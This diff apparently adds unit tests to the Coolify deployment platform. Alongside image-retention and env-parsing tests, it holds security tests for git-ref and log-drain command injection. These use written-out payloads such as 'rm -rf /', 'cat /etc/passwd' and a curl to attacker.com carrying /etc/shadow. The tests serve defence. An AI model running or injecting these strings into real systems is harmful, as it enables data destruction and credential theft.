$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit5';
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// Determine kept tags: current + N newest rollback
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
// Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback)
|
||||
expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3');
|
||||
|
||||
// Build images to delete: those whose base tag is NOT in keptTags
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// Should delete commit1-build and commit2-build (their base tags are not kept)
|
||||
expect($buildImagesToDelete)->toHaveCount(2);
|
||||
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build');
|
||||
|
||||
// Should keep commit3-build, commit4-build, commit5-build (matching retained images)
|
||||
$buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return $keptTags->contains($baseTag);
|
||||
});
|
||||
expect($buildImagesToKeep)->toHaveCount(3);
|
||||
expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build');
|
||||
});
|
||||
|
||||
it('deletes all build images when retention is disabled', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit2';
|
||||
$imagesToKeep = 0; // Retention disabled
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
// With imagesToKeep=0, only current tag is kept
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// commit1-build should be deleted (not retained), commit2-build kept (matches running)
|
||||
expect($buildImagesToDelete)->toHaveCount(1);
|
||||
expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
|
||||
});
|
||||
|
||||
it('preserves build image for currently running tag', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
|
||||
]);
|
||||
|
||||
$currentTag = 'commit1';
|
||||
$imagesToKeep = 2;
|
||||
|
||||
$buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
|
||||
$regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
|
||||
|
||||
$sortedRegularImages = $regularImages
|
||||
->filter(fn ($image) => $image['tag'] !== $currentTag)
|
||||
->sortByDesc('created_at')
|
||||
->values();
|
||||
|
||||
$keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
|
||||
if (! empty($currentTag)) {
|
||||
$keptTags = $keptTags->push($currentTag);
|
||||
}
|
||||
|
||||
$buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
|
||||
$baseTag = preg_replace('/-build$/', '', $image['tag']);
|
||||
|
||||
return ! $keptTags->contains($baseTag);
|
||||
});
|
||||
|
||||
// Build image for running tag should NOT be deleted
|
||||
expect($buildImagesToDelete)->toHaveCount(0);
|
||||
});
|
||||
|
|
|
|||
|
|
@ -0,0 +1,54 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests verifying that GetContainersStatus has empty container
|
||||
* safeguards for ALL resource types (applications, previews, databases, services).
|
||||
*
|
||||
* When Docker queries fail and return empty container lists, resources should NOT
|
||||
* be falsely marked as "exited". This was originally added for applications and
|
||||
* previews (commit 684bd823c) but was missing for databases and services.
|
||||
*
|
||||
* @see https://github.com/coollabsio/coolify/issues/8826
|
||||
*/
|
||||
it('has empty container safeguard for applications', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// The safeguard should appear before marking applications as exited
|
||||
expect($actionFile)
|
||||
->toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);');
|
||||
|
||||
// Count occurrences of the safeguard pattern in the not-found sections
|
||||
$safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed';
|
||||
$safeguardCount = substr_count($actionFile, $safeguardPattern);
|
||||
|
||||
// Should appear at least 4 times: applications, previews, databases, services
|
||||
expect($safeguardCount)->toBeGreaterThanOrEqual(4);
|
||||
});
|
||||
|
||||
it('has empty container safeguard for databases', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Extract the database not-found section
|
||||
$databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);');
|
||||
expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist');
|
||||
|
||||
// Get the code between database section start and the next major section
|
||||
$databaseSection = substr($actionFile, $databaseSectionStart, 500);
|
||||
|
||||
// The empty container safeguard must exist in the database section
|
||||
expect($databaseSection)->toContain('$this->containers->isEmpty()');
|
||||
});
|
||||
|
||||
it('has empty container safeguard for services', function () {
|
||||
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
|
||||
|
||||
// Extract the service exited section
|
||||
$serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');');
|
||||
expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist');
|
||||
|
||||
// Get the code in the service exited loop
|
||||
$serviceSection = substr($actionFile, $serviceSectionStart, 500);
|
||||
|
||||
// The empty container safeguard must exist in the service section
|
||||
expect($serviceSection)->toContain('$this->containers->isEmpty()');
|
||||
});
|
||||
123
tests/Unit/GitRefValidationTest.php
Normal file
123
tests/Unit/GitRefValidationTest.php
Normal file
|
|
@ -0,0 +1,123 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
|
||||
*
|
||||
* Ensures that git_commit_sha and related inputs are validated
|
||||
* to prevent OS command injection via shell metacharacters.
|
||||
*/
|
||||
|
||||
describe('validateGitRef', function () {
|
||||
test('accepts valid hex commit SHAs', function () {
|
||||
expect(validateGitRef('abc123def456'))->toBe('abc123def456');
|
||||
expect(validateGitRef('a3e59e5c9'))->toBe('a3e59e5c9');
|
||||
expect(validateGitRef('abc123def456abc123def456abc123def456abc123'))->toBe('abc123def456abc123def456abc123def456abc123');
|
||||
});
|
||||
|
||||
test('accepts HEAD', function () {
|
||||
expect(validateGitRef('HEAD'))->toBe('HEAD');
|
||||
});
|
||||
|
||||
test('accepts empty string', function () {
|
||||
expect(validateGitRef(''))->toBe('');
|
||||
});
|
||||
|
||||
test('accepts branch and tag names', function () {
|
||||
expect(validateGitRef('main'))->toBe('main');
|
||||
expect(validateGitRef('feature/my-branch'))->toBe('feature/my-branch');
|
||||
expect(validateGitRef('v1.2.3'))->toBe('v1.2.3');
|
||||
expect(validateGitRef('release-2.0'))->toBe('release-2.0');
|
||||
expect(validateGitRef('my_branch'))->toBe('my_branch');
|
||||
});
|
||||
|
||||
test('trims whitespace', function () {
|
||||
expect(validateGitRef(' abc123 '))->toBe('abc123');
|
||||
});
|
||||
|
||||
test('rejects single quote injection', function () {
|
||||
expect(fn () => validateGitRef("HEAD'; id >/tmp/poc; #"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects semicolon command separator', function () {
|
||||
expect(fn () => validateGitRef('abc123; rm -rf /'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects command substitution with $()', function () {
|
||||
expect(fn () => validateGitRef('$(whoami)'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects backtick command substitution', function () {
|
||||
expect(fn () => validateGitRef('`whoami`'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects pipe operator', function () {
|
||||
expect(fn () => validateGitRef('abc | cat /etc/passwd'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects ampersand operator', function () {
|
||||
expect(fn () => validateGitRef('abc & whoami'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects hash comment injection', function () {
|
||||
expect(fn () => validateGitRef('abc #'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects newline injection', function () {
|
||||
expect(fn () => validateGitRef("abc\nwhoami"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects redirect operators', function () {
|
||||
expect(fn () => validateGitRef('abc > /tmp/out'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects hyphen-prefixed input (git flag injection)', function () {
|
||||
expect(fn () => validateGitRef('--upload-pack=malicious'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects the exact PoC payload from advisory', function () {
|
||||
expect(fn () => validateGitRef("HEAD'; whoami >/tmp/coolify_poc_git; #"))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
});
|
||||
|
||||
describe('executeInDocker git log escaping', function () {
|
||||
test('git log command escapes commit SHA to prevent injection', function () {
|
||||
$maliciousCommit = "HEAD'; id; #";
|
||||
$command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B';
|
||||
$result = executeInDocker('test-container', $command);
|
||||
|
||||
// The malicious payload must not be able to break out of quoting
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->toContain("'HEAD'\\''");
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildGitCheckoutCommand escaping', function () {
|
||||
test('checkout command escapes target to prevent injection', function () {
|
||||
$app = new \App\Models\Application;
|
||||
$app->forceFill(['uuid' => 'test-uuid']);
|
||||
|
||||
$settings = new \App\Models\ApplicationSetting;
|
||||
$settings->is_git_submodules_enabled = false;
|
||||
$app->setRelation('settings', $settings);
|
||||
|
||||
$method = new \ReflectionMethod($app, 'buildGitCheckoutCommand');
|
||||
|
||||
$result = $method->invoke($app, 'abc123');
|
||||
expect($result)->toContain("git checkout 'abc123'");
|
||||
|
||||
$result = $method->invoke($app, "abc'; id; #");
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->toContain("git checkout 'abc'");
|
||||
});
|
||||
});
|
||||
118
tests/Unit/LogDrainCommandInjectionTest.php
Normal file
118
tests/Unit/LogDrainCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,118 @@
|
|||
<?php
|
||||
|
||||
use App\Actions\Server\StartLogDrain;
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
|
||||
// and never appear raw in shell commands
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('does not interpolate axiom api key into shell commands', function () {
|
||||
$maliciousPayload = '$(id >/tmp/pwned)';
|
||||
|
||||
$server = mock(Server::class)->makePartial();
|
||||
$settings = mock(ServerSetting::class)->makePartial();
|
||||
|
||||
$settings->is_logdrain_axiom_enabled = true;
|
||||
$settings->is_logdrain_newrelic_enabled = false;
|
||||
$settings->is_logdrain_highlight_enabled = false;
|
||||
$settings->is_logdrain_custom_enabled = false;
|
||||
$settings->logdrain_axiom_dataset_name = 'test-dataset';
|
||||
$settings->logdrain_axiom_api_key = $maliciousPayload;
|
||||
|
||||
$server->name = 'test-server';
|
||||
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
||||
|
||||
// Build the env content the same way StartLogDrain does after the fix
|
||||
$envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
// The malicious payload must NOT appear directly in the encoded string
|
||||
// (it's inside the base64 blob, which the shell treats as opaque data)
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
|
||||
// Verify the decoded content preserves the value exactly
|
||||
$decoded = base64_decode($envEncoded);
|
||||
expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}");
|
||||
});
|
||||
|
||||
it('does not interpolate newrelic license key into shell commands', function () {
|
||||
$maliciousPayload = '`rm -rf /`';
|
||||
|
||||
$envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
|
||||
$decoded = base64_decode($envEncoded);
|
||||
expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}");
|
||||
});
|
||||
|
||||
it('does not interpolate highlight project id into shell commands', function () {
|
||||
$maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))';
|
||||
|
||||
$envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n";
|
||||
$envEncoded = base64_encode($envContent);
|
||||
|
||||
expect($envEncoded)->not->toContain($maliciousPayload);
|
||||
});
|
||||
|
||||
it('produces correct env file content for axiom type', function () {
|
||||
$datasetName = 'my-dataset';
|
||||
$apiKey = 'xaat-abc123-def456';
|
||||
|
||||
$envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n";
|
||||
$decoded = base64_decode(base64_encode($envContent));
|
||||
|
||||
expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n");
|
||||
});
|
||||
|
||||
it('produces correct env file content for newrelic type', function () {
|
||||
$licenseKey = 'nr-license-123';
|
||||
$baseUri = 'https://log-api.newrelic.com/log/v1';
|
||||
|
||||
$envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n";
|
||||
$decoded = base64_decode(base64_encode($envContent));
|
||||
|
||||
expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n");
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Validation layer: reject shell metacharacters
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('rejects shell metacharacters in log drain fields', function (string $payload) {
|
||||
// These payloads should NOT match the safe regex pattern
|
||||
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
|
||||
|
||||
expect(preg_match($pattern, $payload))->toBe(0);
|
||||
})->with([
|
||||
'$(id)',
|
||||
'`id`',
|
||||
'key;rm -rf /',
|
||||
'key|cat /etc/passwd',
|
||||
'key && whoami',
|
||||
'key$(curl evil.com)',
|
||||
"key\nnewline",
|
||||
'key with spaces',
|
||||
'key>file',
|
||||
'key<file',
|
||||
"key'quoted",
|
||||
'key"doublequoted',
|
||||
'key$(id >/tmp/coolify_poc_logdrain)',
|
||||
]);
|
||||
|
||||
it('accepts valid log drain field values', function (string $value) {
|
||||
$pattern = '/^[a-zA-Z0-9_\-\.]+$/';
|
||||
|
||||
expect(preg_match($pattern, $value))->toBe(1);
|
||||
})->with([
|
||||
'xaat-abc123-def456',
|
||||
'my-dataset',
|
||||
'my_dataset',
|
||||
'simple123',
|
||||
'nr-license.key_v2',
|
||||
'project-id-123',
|
||||
]);
|
||||
|
|
@ -206,6 +206,39 @@ test('nested variables with complex paths', function () {
|
|||
expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json');
|
||||
});
|
||||
|
||||
test('replaceVariables strips leading dollar sign from bare $VAR format', function () {
|
||||
// Bug #8851: When a compose value is $SERVICE_USER_POSTGRES (bare $VAR, no braces),
|
||||
// replaceVariables must strip the $ so the parsed name is SERVICE_USER_POSTGRES.
|
||||
// Without this, the fallback code path creates a DB entry with key=$SERVICE_USER_POSTGRES.
|
||||
expect(replaceVariables('$SERVICE_USER_POSTGRES')->value())->toBe('SERVICE_USER_POSTGRES')
|
||||
->and(replaceVariables('$SERVICE_PASSWORD_POSTGRES')->value())->toBe('SERVICE_PASSWORD_POSTGRES')
|
||||
->and(replaceVariables('$SERVICE_FQDN_APPWRITE')->value())->toBe('SERVICE_FQDN_APPWRITE');
|
||||
});
|
||||
|
||||
test('bare dollar variable in bash-style fallback does not capture trailing brace', function () {
|
||||
// Bug #8851: ${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE} causes the regex to
|
||||
// capture "SERVICE_FQDN_APPWRITE}" (with trailing }) because \}? in the regex
|
||||
// greedily matches the closing brace of the outer ${...} construct.
|
||||
// The fix uses capture group 2 (clean variable name) instead of group 1.
|
||||
$value = '${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE}';
|
||||
|
||||
$regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/';
|
||||
preg_match_all($regex, $value, $valueMatches);
|
||||
|
||||
// Group 2 should contain clean variable names without any braces
|
||||
expect($valueMatches[2])->toContain('_APP_DOMAIN')
|
||||
->and($valueMatches[2])->toContain('SERVICE_FQDN_APPWRITE');
|
||||
|
||||
// Verify no match in group 2 has trailing }
|
||||
foreach ($valueMatches[2] as $match) {
|
||||
expect($match)->not->toEndWith('}', "Variable name '{$match}' should not end with }");
|
||||
}
|
||||
|
||||
// Group 1 (previously used) would have the bug — SERVICE_FQDN_APPWRITE}
|
||||
// This demonstrates why group 2 must be used instead
|
||||
expect($valueMatches[1])->toContain('SERVICE_FQDN_APPWRITE}');
|
||||
});
|
||||
|
||||
test('operator precedence with nesting', function () {
|
||||
// The first :- at depth 0 should be used, not the one inside nested braces
|
||||
$input = '${A:-${B:-default}}';
|
||||
|
|
|
|||
69
tests/Unit/ServiceParserEnvVarPreservationTest.php
Normal file
69
tests/Unit/ServiceParserEnvVarPreservationTest.php
Normal file
|
|
@ -0,0 +1,69 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that Docker Compose environment variables
|
||||
* do not overwrite user-saved values on redeploy.
|
||||
*
|
||||
* Regression test for GitHub issue #8885.
|
||||
*/
|
||||
it('uses firstOrCreate for simple variable references in serviceParser to preserve user values', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The serviceParser function should use firstOrCreate (not updateOrCreate)
|
||||
// for simple variable references like DATABASE_URL: ${DATABASE_URL}
|
||||
// This is the key === parsedValue branch
|
||||
expect($parsersFile)->toContain(
|
||||
"// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n".
|
||||
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
|
||||
' $envVar = $resource->environment_variables()->firstOrCreate('
|
||||
);
|
||||
});
|
||||
|
||||
it('does not set value to null for simple variable references in serviceParser', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The old bug: $value = null followed by updateOrCreate with 'value' => $value
|
||||
// This pattern should NOT exist for simple variable references
|
||||
expect($parsersFile)->not->toContain(
|
||||
"\$value = null;\n".
|
||||
' $resource->environment_variables()->updateOrCreate('
|
||||
);
|
||||
});
|
||||
|
||||
it('uses firstOrCreate for simple variable refs without default in serviceParser balanced brace path', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// In the balanced brace extraction path, simple variable references without defaults
|
||||
// should use firstOrCreate to preserve user-saved values
|
||||
// This appears twice (applicationParser and serviceParser)
|
||||
$count = substr_count(
|
||||
$parsersFile,
|
||||
"// Simple variable reference without default\n".
|
||||
" // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n".
|
||||
' $envVar = $resource->environment_variables()->firstOrCreate('
|
||||
);
|
||||
|
||||
expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default');
|
||||
});
|
||||
|
||||
it('populates environment array with saved DB value instead of raw compose variable', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// After firstOrCreate, the environment should be populated with the DB value ($envVar->value)
|
||||
// not the raw compose variable reference (e.g., ${DATABASE_URL})
|
||||
// This pattern should appear in both parsers for all variable reference types
|
||||
expect($parsersFile)->toContain('// Add the variable to the environment using the saved DB value');
|
||||
expect($parsersFile)->toContain('$environment[$key->value()] = $envVar->value;');
|
||||
expect($parsersFile)->toContain('$environment[$content] = $envVar->value;');
|
||||
});
|
||||
|
||||
it('does not use updateOrCreate with value null for user-editable environment variables', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// The specific bug pattern: setting $value = null then calling updateOrCreate with 'value' => $value
|
||||
// This overwrites user-saved values with null on every deploy
|
||||
expect($parsersFile)->not->toContain(
|
||||
"\$value = null;\n".
|
||||
' $resource->environment_variables()->updateOrCreate('
|
||||
);
|
||||
});
|
||||
|
|
@ -1,19 +1,19 @@
|
|||
{
|
||||
"coolify": {
|
||||
"v4": {
|
||||
"version": "4.0.0-beta.464"
|
||||
"version": "4.0.0-beta.466"
|
||||
},
|
||||
"nightly": {
|
||||
"version": "4.0.0-beta.465"
|
||||
"version": "4.0.0-beta.467"
|
||||
},
|
||||
"helper": {
|
||||
"version": "1.0.12"
|
||||
},
|
||||
"realtime": {
|
||||
"version": "1.0.10"
|
||||
"version": "1.0.11"
|
||||
},
|
||||
"sentinel": {
|
||||
"version": "0.0.18"
|
||||
"version": "0.0.19"
|
||||
}
|
||||
},
|
||||
"traefik": {
|
||||
|
|
@ -26,4 +26,4 @@
|
|||
"v3.0": "3.0.4",
|
||||
"v2.11": "2.11.32"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
Loading…
Reference in a new issue